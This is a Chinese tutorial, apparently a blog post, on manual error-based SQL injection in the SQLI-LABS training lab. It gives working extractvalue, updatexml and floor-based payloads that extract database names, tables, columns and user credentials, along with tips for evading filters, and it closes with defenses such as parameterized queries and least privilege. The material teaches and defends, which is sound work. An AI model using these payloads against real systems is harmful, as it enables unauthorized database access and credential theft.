SQLI-LABS报错注入实战:从MySQL报错机制到手工提取数据
前两天群里有人卡在SQLI-LABS的Less-5上说页面啥数据都不显示怀疑是靶场环境崩了。其实那关就是典型的报错注入场景——联合查询的回显位被刻意处理掉了正常的数据看不到你唯一能利用的信息就是MySQL自己吐出来的错误提示。很多新手在联合查询和布尔盲注上能玩得转一到报错注入就懵根本原因是没搞懂这些报错函数到底做了什么、报错信息为什么能把数据带出来。这篇就围绕SQLI-LABS靶场把报错注入从原理、payload构造到完整的数据提取链路捋一遍适合刚学完联合注入、想在盲注和报错注入之间补齐一块拼图的人。1. 报错注入的原理与适用场景1.1 为什么需要有“报错注入”这种玩法先说一个最朴素的问题注入一个SQL语句凭什么能把数据拿出来常规思路是靠UNION联合查询把查询结果拼到页面回显位置上。但如果开发者写了类似mysqli_query($conn, $sql) or die(mysqli_error($conn))的代码查询出错时数据库驱动的错误信息会原样打印到页面上这就给了攻击者另一种通道——不靠回显位靠错误信息。报错注入的本质是让SQL语句“执行出错”同时让出错的信息里携带我们想查的数据。关键是这个错误不是随便一个错而是数据库在执行过程中因为函数参数不合法产生的运行时错误。MySQL在报错时会附带函数参数内容于是我们的查询结果就作为函数参数的一部分被数据库“说”了出来。拿生活类比你把一个错别字写进银行转账的附言里银行系统校验失败退款通知里把你原封不动的附言又打印了一遍。你本来只是想转个账结果系统帮你把附言也“广播”了。报错注入就是这个思路——我们根本不指望页面正常显示我们只指望错误信息把我们的子查询结果念出来。1.2 主流的报错函数与机制对比MySQL中常用的报错注入手法有这么几类先把它们放在一张表里对比后面实操逐个拆报错手法核心函数/表达式报错形式单次输出长度适用MySQL版本稳定性extractvalueextractvalue(1, concat(0x7e, 子查询, 0x7e))XPATH syntax error32字符5.1稳定updatexmlupdatexml(1, concat(0x7e, 子查询, 0x7e), 1)XPATH syntax error32字符5.1稳定floor双查询floor(rand(0)*2) group byDuplicate entry64字符左右5.x略挑环境exp溢出exp(710)DOUBLE out of range受数值限制5.5/5.6一般GTIDgtid_subset/gtid_subtractGTID error有限5.6依赖权限这里最常用的是前两个。原因很简单extractvalue和updatexml是MySQL官方XML处理函数它们的第二个参数要求是合法的XPath表达式。我们提供一个格式错误的XPath比如用0x7e拼上数据数据库就会报“XPATH syntax error: ...”而报错内容里恰好包含我们不合法的那段完整字符串。0x7e是波浪号~的十六进制它不是合法XPath开头但能被MySQL原样打印所以用它做分隔符最方便识别。很多人不理解为什么必须用concat把数据拼进去。其实你把一个裸的select database()传给extractvalue如果数据库名碰巧是一个合法的XPath表达式比如叫abc它可能就不报错了数据也带不出来。必须人为破坏XPath合法性让函数强制进入报错分支这是整个手法的核心逻辑。1.3 报错注入在SQLI-LABS里的位置SQLI-LABS是国内学SQL注入几乎绕不开的一套靶场它把注入场景按“Less”编号拆得很细。报错注入相关的关卡主要有Less-1到Less-6GET传参、Less-11到Less-14POST传参以及后面的一些进阶关卡。Less-1到Less-4是联合注入都能直接解决的关卡但困住大多数新手的正好是Less-5与Less-6这两个关卡把前端回显数据去掉了页面不会显示任何查询结果除非你触发数据库报错。Less-5和Less-6分别是单引号闭合和双引号闭合的报错注入Less-7还有一个“outfile”写文件思路那是另一个话题。Less-11到Less-14则是POST场景模拟的是登录表单注入难点在于你要在不知道后台SQL语句结构的情况下判断闭合方式。报错注入在这些关卡里都能派上用场而且Less-12和Less-14的闭合方式还带了括号刚好用来练习闭合推导。2. 靶场环境准备与自测基础2.1 环境搭建的版本选型SQLI-LABS本身就是一套PHP源码跑起来需要一个PHPMySQL环境Apache或者Nginx都行。Windows下最常见的做法是装一个PHP集成环境把靶场源码丢到站点根目录导入sql-connections/db-creds.inc里面配置的数据库账号密码再执行sqlmap或者手工建库把源码包里提供的SQL文件导入即可。版本选择上有两个坑要提前说。第一PHP版本建议用5.6到7.x新版PHP8.0对某些老代码的语法兼容性差报错信息可能被吃掉的。第二MySQL建议用5.5、5.7这些经典版本报错注入相关函数都正常MySQL 8.0虽然extractvalue和updatexml还能用但部分函数行为有变化而且高版本默认的字符集、排序规则不同可能影响你判断页面编码。如果你只是为了练报错注入5.7是我实测最顺手的版本。环境准备好之后先在浏览器访问首页能看到所有Less的入口链接列表就说明项目本身跑起来了。接着点进Less-1访问http://127.0.0.1/sqli-labs/Less-1/?id1正常返回用户信息。用?id1测试页面出现类似You have an error in your SQL syntax... near 1 LIMIT 0,1 at line 1的报错那就是MySQL的默认错误输出SQL注入的先决条件——错误信息可见——已经成立。SQLI-LABS的Less-1到Less-6都在数据库连接代码里保留了这种错误输出这是靶场有意识留出来的窗口。2.2 SQLI-LABS的初始数据与判断技巧建库完成后核心数据库名叫security里面有一张users表字段是id、username、password初始数据就几行比如admin、Dumb这些。这张表是绝大多数Less关卡的目标你爆出来的库名、表名、字段名、数据基本都是围绕它来的。判断一个注入点能不能走报错注入有个非常快的试探套路。以Less-1举例?id1触发了SQL语法报错说明注入点存在且是单引号闭合。此时把payload改成?id1 and extractvalue(1,concat(0x7e,(select database()),0x7e)) --页面报错信息变成XPATH syntax error: ~security~恭喜报错注入链路完全打通。如果页面报的是普通语法错误而不是XPATH错误说明payload写的位置或者闭合方式不对回去检查引号和注释符。这里补充一个细节--里的在URL中是空格因为HTTP协议里URL编码原因很多人在浏览器里直接写--带空格也能用但用Burp Suite这类工具时最好统一写成--避免被转义吞掉。SQLI-LABS的SQL语句是SELECT ... WHERE id$id闭合单引号后用--注释掉后面残余的即可。2.3 动手前必须先搞明白的SQL闭合关系这是报错注入新手最容易翻车的地方。报错注入的payload必须“植入”到原有的SQL语句里语法上要形成完整合法的子句否则报的是语法错误数据却带不出来。举个例子后台语句是SELECT * FROM users WHERE id$id LIMIT 0,1你在URL传入id1 and extractvalue(1,concat(0x7e,database(),0x7e))--拼接后的完整SQL是SELECT * FROM users WHERE id1 and extractvalue(1,concat(0x7e,database(),0x7e))-- LIMIT 0,1两个单引号形成了一个闭合1后面的and extractvalue(...)在引号之外作为独立表达式执行--把 LIMIT 0,1整段注释掉。整个过程相当于我们控制的那段字符串被拼到了SQL的执行序列里剩下的全是触发器。Less-2是无引号闭合的整型注入payload就不需要闭合引号?id1 and extractvalue(1,concat(0x7e,database(),0x7e))。Less-3是$id带括号的闭合payload要写成?id1) and extractvalue(...) --因为后台SQL是WHERE id($id)。Less-4是双引号加括号?id1) and extractvalue(...) --。判断闭合方式的方法很简单在参数后面逐个尝试加、、)、)、))、))观察报错位置的变化。报错信息里会高亮出错点附近的原文比如near 1) LIMIT 0,1就能看出哪里多了一个引号导致语法断裂。这就像修锁——你不需要知道锁芯内部结构但试几次钥匙就能试出咬合深度。3. 报错注入的完整实操与payload拆解3.1 注入点探测与闭合方式确认拿Less-1作为标准的GET场景做完整演示。第一步先判断注入点?id1页面有回显?id1报SQL语法错误?id1 --页面恢复原样说明这个单引号能在闭合后被注释掉注入成立且是单引号字符串闭合。第二步走报错链路。先用一个安全的payload验证报错函数本身可用?id1 and extractvalue(1,concat(0x7e,database(),0x7e)) --页面错误信息变为XPATH syntax error: ~security~说明两部分都成了域名闭合正确报错函数正常工作。如果这里报的还是普通语法错误不要急着怀疑数据库版本先看看是不是--被编码吞了或者空格被浏览器自动编码成了%20导致payload断行。3.2 extractvalue与updatexml实战爆库报错函数一旦通了后面就是流程化操作。先看当前版本和库名?id1 and extractvalue(1,concat(0x7e,(select version()),0x7e)) -- ?id1 and extractvalue(1,concat(0x7e,database(),0x7e)) --输出依次是~5.7.26~和~security~。注意extractvalue的报错输出有32字符的长度限制所以当查询结果超过这个长度时要用substr函数分段。比如select group_concat(table_name)的结果可能很长直接拼进去会被截断只显示最早的那部分。正确的分段提取写法是?id1 and extractvalue(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,30),0x7e)) --substr的第三个参数是截取长度一般建议取25到30留出两个0x7e的位置给报错头尾不然~被截掉后你很难判断数据边界。换offset值就能一段段把完整数据拼出来。我习惯用Burp Suite的Repeater来回改offset比敲浏览器地址栏快得多。updatexml的写法几乎一样只不过参数顺序不同第三位参数传1或0x7e都行?id1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --实际测试中updatexml和extractvalue报错输出格式有细微差异但都能正常带出数据。两个函数都尝尝哪个顺眼用哪个。3.3 floor(rand(0)*2)双查询报错注入extractvalue和updatexml在MySQL 5.1以上都好使但有些场景下页面会过滤包含extractvalue或updatexml关键词的输入这时就要换第三种手法floor(rand(0)*2)双查询报错。它不依赖XML函数而是利用MySQL在group by聚合时对重复分组键报的Duplicate entry错误。标准payload长这样?id1 and (select 1 from (select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)a) --拆开讲原理。内层查询select count(*), concat(数据, floor(rand(0)*2)) x from information_schema.tables group by x按x分组统计floor(rand(0)*2)的值是0或1随机性让同一组数据在分组时反复变化导致MySQL在内部哈希表中遇到重复键抛出Duplicate entry security1 for key group_key。这个报错里的security1就是我们的查询结果拼上随机数。这个手法有个历史包袱它要求information_schema.tables有足够多的行来触发重复键碰撞MySQL 5.x下这个表一般都有几十行没问题但某些精简版数据库或者新版本变更后可能会出现不稳定的情况经常要重试几次才出数据。实战中extractvalue好用的时候我基本不碰它但必须知道这招因为过滤场景下它是救命稻草。3.4 数据提取完整链路库→表→字段→值拿到库名security后下一步是罗列数据库里的所有表?id1 and extractvalue(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schemasecurity),1,30),0x7e)) --输出类似~emails,referers,uagents,users~。如果内容被截断用limit配合偏移控制?id1 and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schemasecurity limit 3,1),0x7e)) --这就是从第4行开始取一张表名。逐步取完所有表后锁定users表提字段?id1 and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schemasecurity and table_nameusers limit 0,1),0x7e)) --字段依次是id、username、password。最后取数据?id1 and extractvalue(1,concat(0x7e,substr((select concat(username,0x3a,password) from users limit 0,1),1,30),0x7e)) --0x3a是冒号的十六进制作为连接符区分用户名和密码。看到~admin:password~这类输出数据提取就完成了。整个过程跟我平时用sqlmap自动跑的结果是完全一致的区别在于手工注入能让你真正理解每条语句在信息架构里“查的是什么表、为什么这样查”。information_schema是MySQL自带的元数据仓库tables表和columns表记录了所有库、表、字段的对应关系SQL注入的数据提取本质就是把这个元数据仓库当公开情报站来查。3.5 POST表单场景的报错注入实战Less-11开始是POST登录表单注入后台SQL大概是SELECT username, password FROM users WHERE username$uname and password$passwd。在Burp Suite里抓到登录包改uname参数unameadmin and extractvalue(1,concat(0x7e,database(),0x7e))--passwdxxx页面报XPATH syntax error: ~security~说明POST参数注入通了。Less-12需要用闭合unameadmin) and extractvalue(1,concat(0x7e,database(),0x7e))--passwdxxxPOST场景的payload难点在于判断闭合方式先看普通报错提示里的near admin...位置再对比加引号后的语法错误变化。Less-13和Less-14的报错信息比前面少可能看不到具体SQL原文这时候就要靠经验试闭合单引号、双引号、带括号的组合各试一遍成功标准就是XPATH报错出现。4. 常见问题与排查技巧实录4.1 报错函数不生效的排查路径我在靶场里被问得最多的问题是“我加上了and extractvalue(1,concat(0x7e,database(),0x7e))为什么页面还是没反应”这个问题的排查顺序我通常固定成四步。第一步确认页面本身是否显示SQL错误。如果display_errors被关闭MySQL报错不会出现在前端报错注入自然失效。SQLI-LABS的关卡都保留了错误输出但你自己搭的其他测试环境不一定有。第二步检查闭合方式。报错注入和联合注入不同它要求你的整段payload在语法上是可执行的子句。如果后台是WHERE id($id)而你只写SQL就变成WHERE id(1 and extractvalue(...))闭括号位置不对函数根本没机会执行。报错位置会提示你是near ...哪里出错顺着这个位置试闭合。第三步看注释符是否被过滤或转义。很多环境会把#、--、空格做了关键词过滤SQLI-LABS本身不过滤但练习绕WAF时会遇到。遇到这种情况把--换成#或者用URL编码的%23再不行用;%00NULL字节截断MySQL和PHP老版本有效。第四步看函数返回值是否有权限限制。个别数据库账号被限制了XML函数相关权限时extractvalue不报错也不返回数据改用floor双查询。SQLI-LABS默认账号没这个问题但在真实环境里遇到时多试几种报错手法是最直接的鉴别方式。4.2 数据截断与乱码处理extractvalue和updatexml的最大报错输出长度都是32字符去掉头和尾的波浪号标记实际可用内容大概30字符。很多新手第一次爆表名时发现只出一半以为是漏数据其实是截断。处理截断有两条路一是用substr对结果做分段截取每次取25到30字符偏移量累加比如第一段取1,25第二段取26,50第三段取51,75二是用limit配合偏移只取一条结果比如查表名时指定limit N,1一次拿一行就不会超长。乱码问题也常见。靶场默认字符集是latin1或utf8如果数据库里有中文数据报错信息里直接打印出来可能是乱码。SQLI-LABS的初始数据是英文一般不会踩到但自己扩展数据时要注意。遇到乱码先确认页面charset再把payload里的字段值转成十六进制再取比如hex(password)返回就是可读的十六进制串。4.3 被过滤时的绕过思路SQLI-LABS本身是入门靶场不做过滤但Less-21到Less-28开始引入了部分编码变形和过滤场景后面的篇章还有WAF模拟。报错注入在绕过滤时有两个常用招式。第一招是大小写和关键词变形。extractvalue写成ExtractValue、EXTRACTVALUE或者中间加注释符extract/**/value利用MySQL对关键词大小写不敏感、注释符可以作为词间分隔符的特性绕过简单规则。不过要注意MySQL的注释符绕过在PHP的高版本中可能被mysqli的预处理语句直接化解这是题外话。第二招是等号过滤。某些规则会过滤可以把substr((select ...),1,30)换成regexp写法或者用like。SQLI-LABS里没有强制要求但练习时养成“被过滤就想替代写法”的习惯后面应对真实场景会有优势。4.4 报错注入全过程速查表阶段目标参考payload探测注入点确认单引号闭合存在?id1报错、?id1 --恢复正常验证报错函数确认extractvalue可用?id1 and extractvalue(1,concat(0x7e,database(),0x7e)) --爆库名获取当前数据库extractvalue(1,concat(0x7e,database(),0x7e))爆表名枚举数据库所有表extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e))爆字段列出目标表的字段extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers),0x7e))取数据读取目标字段值extractvalue(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e))长数据分段突破32字符限制用substr((select ...),起始位,30)循环备选手法换函数或换机制updatexml、floor(rand(0)*2)双查询5. 从攻击视角到防御视角安全加固实践5.1 代码层参数化查询是唯一治本方案SQL注入的根因是“SQL语句拼接”无论报错注入还是联合注入所有的花活都建立在后台把用户输入直接拼进SQL字符串这个前提上。治本方案只有一个参数化查询。PHP的PDO写法是一定要掌握的$stmt $pdo-prepare(SELECT * FROM users WHERE id ?); $stmt-execute([$_GET[id]]); $user $stmt-fetch();这里用户输入的id只是作为参数传给MySQL的预处理协议数据库会把id1和id1 and extractvalue(...)当成两种不同的“值”而不是“SQL代码”。换句话说参数化查询直接消灭了整个注入攻击面报错注入再花哨也打不进来。MySQLi的预处理写法同理$stmt $conn-prepare(SELECT * FROM users WHERE id ?); $stmt-bind_param(s, $_GET[id]); $stmt-execute();SQLI-LABS故意不采用这些写法才保留了全系列的注入漏洞供学习。你在靶场里练得越深越能体会参数化查询这一层防护的价值。5.2 数据库层最小权限与对象隔离第二个容易被忽视的点是数据库账号权限。很多实际业务为了省事直接用root账号连接Web应用结果注入者一旦打通注入点就能操作information_schema、读取所有库、甚至写文件。最小权限原则要求每个Web应用使用独立的数据库账号只授予当前库的必要权限比如SELECT、INSERT、UPDATE、DELETE不授予FILE、PROCESS、SUPER等危险权限。information_schema本身无法禁止读取但去掉FILE权限后into outfile写Webshell这条路就被堵死了。去掉PROCESS权限后show processlist这种信息探测也被切断。报错注入虽然只能读数据但一旦拿到足够的元数据后续的攻击面会急剧扩大权限收敛是重要的纵深防御手段。5.3 运维层报错信息的暴露面控制报错注入成立有两个前提一是SQL语句可拼接二是数据库报错信息能到达前端。前者靠参数化查询解决后者靠“关闭错误回显”解决。生产环境务必把PHP的display_errors设为Off同时把MySQL的错误信息重定向到日志文件而不是响应体。很多团队只关display_errors但忘了改数据库驱动层的错误处理逻辑比如mysqli的report_mode设置为MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT时即使display_errors关了异常信息仍可能通过异常对象输出。更稳妥的做法是自定义全局异常处理器统一把错误信息写入日志并返回通用错误页。从红队视角看关闭报错回显后报错注入直接退化攻击者只能转向布尔盲注或时间盲注攻击成本大幅上升检测和拦截的机会窗口也大得多。5.4 团队层面的漏洞修复闭环最后讲一点工程实践。SQLI-LABS可以作为团队内部安全培训的固定素材但不能只练“注入成功”就结束。我建议每次练习的收尾动作都加一道工序把该漏洞对应的修复方案和代码审计点写下来。比如Less-1对应的修复是PDO预处理Less-11对应的修复是SQL语句参数绑定关闭错误回显。练完一个Less就更新团队的代码审计检查表这样从“会打”到“会修”才形成闭环。真实业务里的SQL注入往往藏在一个你完全想不到的搜索框、排序参数或者旧接口里靶场练出来的这套“找注入点→确认闭合→构造payload→提数据”的思路放到代码审计里同样有效。写在最后我用SQLI-LABS练报错注入前后跑了三轮第一轮跟着网上payload抄能出数据但一换关卡就废第二轮硬啃information_schema的查询逻辑和每个函数的报错机制才算真正上手第三轮开始自己写payload、自己造过滤规则才觉得这块知识是自己的了。如果你想认真学建议别急着上sqlmap手工把Less-1、Less-5、Less-11这三个关卡的报错注入完整走一遍比刷十遍视频都有用。最后分享一个小技巧报错注入练到后期可以把extractvalue和updatexml的payload写成自己习惯的模板存在笔记里但每次用之前都重新确认一遍闭合方式和注释符。因为不同关卡的闭合差异非常大Less-5的、Less-6的、Less-12的)一字之差就是成功和报错的区别。这个习惯会伴随你进入真实渗透测试那时候可没有靶场这么宽容的报错提示。

相关新闻

Wintel平台C/C++反逆向实战:一条反调试、混淆与自校验的加固链

Wintel平台C/C++反逆向实战:一条反调试、混淆与自校验的加固链

在Windows Intel这条软件分发主路径上,C/C编译出来的Native程序一直是“逆向破解”的重灾区。很多开发者花几个月写出来的算法、协议、授权校验,到了别人手里可能一个晚上就被定位到关键函数,然后几行汇编补丁就绕过。所谓的“Wintel机器代码…

2026/10/19 12:53:38 阅读更多 →
AI视觉识别破局UI自动化元素定位:模板匹配与OCR实战解析

AI视觉识别破局UI自动化元素定位:模板匹配与OCR实战解析

做了这么多年UI自动化,如果说有什么环节能把人逼疯,元素定位一定排前三。XPath写得太死,页面一改版全崩;id不按规矩来,定位器写得跟猜谜一样;再遇上动态渲染、跨端差异这些情况,你连一个稳定的锚…

2026/10/19 12:53:38 阅读更多 →
Web安全面试题备考指南:从SQL注入到CSRF,构建攻击面思维与防御闭环

Web安全面试题备考指南:从SQL注入到CSRF,构建攻击面思维与防御闭环

这段时间帮几个准备安全岗面试的朋友做复盘,我发现一个特别扎眼的问题:大家拿到一份“42道高频Web安全面试题合集”之后,第一反应都是逐道背答案。背完SQL注入背XSS,背完XSS背CSRF,背到SSRF基本已经晕了,结…

2026/10/19 12:53:38 阅读更多 →

最新新闻

移动端开发面试全攻略:从底层原理到备战策略

移动端开发面试全攻略:从底层原理到备战策略

移动端软件开发工程师的面试,这几年变化真的很明显。早几年可能重点还在“会不会写界面”“用过哪些三方库”“有没有完整上线过项目”,现在几乎每一轮都在往底层原理、性能优化、架构设计、跨端方案这些方向追着问。我身边不少写了三四年业务页面的朋友…

2026/10/19 13:29:19 阅读更多 →
高通8155p车机Android9开ASAN:Android.bp改了不生效的排查与解决

高通8155p车机Android9开ASAN:Android.bp改了不生效的排查与解决

简介:这份资源面向在高通8155p平台上进行QNXAndroid9双系统开发的工程师,聚焦于开启ASAN(AddressSanitizer)以定位内存越界、泄漏等疑难问题的编译配置方法。包内同时提供Android.mk与Android.bp两套构建脚本示例,覆盖…

2026/10/19 13:29:19 阅读更多 →
open-code-review:把代码审查变成可落地的自动化流程框架

open-code-review:把代码审查变成可落地的自动化流程框架

代码审查这事儿,在团队里推行的时候最容易陷入两个极端:要么流于形式,变成“点赞机器”,要么因为标准不统一,审查意见满天飞,最后大家干脆不看。我搞 open-code-review 这个项目,就是想把这件“…

2026/10/19 13:29:19 阅读更多 →
LangChain+通义千问搭建本地文档RAG问答系统实战

LangChain+通义千问搭建本地文档RAG问答系统实战

如果你手头有一堆产品说明书、内部培训文档或者论文资料,想让模型直接回答“这个参数在哪一章有说明”“这种报错该怎么办”,把问题丢给通用大模型,得到的基本就是一段逻辑通顺但内容可疑的“编造”——因为模型压根没见过你的资料。RAG&…

2026/10/19 13:29:19 阅读更多 →
HALCON+C#解析CAD矢量图:DXF轮廓提取与坐标映射实战

HALCON+C#解析CAD矢量图:DXF轮廓提取与坐标映射实战

简介:本资源是一份面向机器视觉初学者与C#开发者的HALCON与C#联合编程实战示例,聚焦CAD图纸(DXF格式)的读取与图像化显示这一典型工业检测前置环节。项目基于HALCON.NET封装库实现,涵盖环境配置要点(如halc…

2026/10/19 13:29:19 阅读更多 →
反向传播中的dX:梯度信号的传递逻辑与工程实践

反向传播中的dX:梯度信号的传递逻辑与工程实践

1. 反向传播里回传的那个“梯度信号”,到底是个什么东西我最早接触反向传播时,最迷惑的就是那一堆名字像孪生兄弟一样的变量:dW、db、dX。W是权重,b是偏置,这两个是参数,算它们的梯度去更新参数&#xff0c…

2026/10/19 13:28:17 阅读更多 →

日新闻

频率跟踪型PWM电源设计:臭氧发生器谐振点漂移与软开关实现

频率跟踪型PWM电源设计:臭氧发生器谐振点漂移与软开关实现

简介:本资源为电源技术方向的学术研究文档,聚焦介质阻挡放电型臭氧发生器电源的频率跟踪型PWM控制策略,面向电力电子、高压电源及臭氧应用领域的科研人员与工程技术人员。针对负载呈容性、等效电容随外加电压升高而增大、谐振频率随之漂移的难…

2026/10/19 0:00:47 阅读更多 →
Vibe Coding 遇上 TaoToken:把开发者思维圣殿的灵感流接入统一 Key 通道

Vibe Coding 遇上 TaoToken:把开发者思维圣殿的灵感流接入统一 Key 通道

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 0:00:47 阅读更多 →
HundredCV-Chat话题建模实战教程:利用4,871个内置话题标签构建主题分析系统

HundredCV-Chat话题建模实战教程:利用4,871个内置话题标签构建主题分析系统

【免费下载链接】HundredCV-Chat 项目地址: https://ai.gitcode.com/hf_mirrors/Jax-dan/HundredCV-Chat 点击查看 免费下载 HundredCV-Chat 是一个由 100 位青年简历数据开发而来的中文多轮对话数据集,共包含 24,750 组日常闲聊对话和 4,871 个话题标签…

2026/10/19 0:00:47 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/19 10:02:04 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/18 0:00:55 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/19 1:30:52 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 2:54:50 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 9:10:22 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 12:16:16 阅读更多 →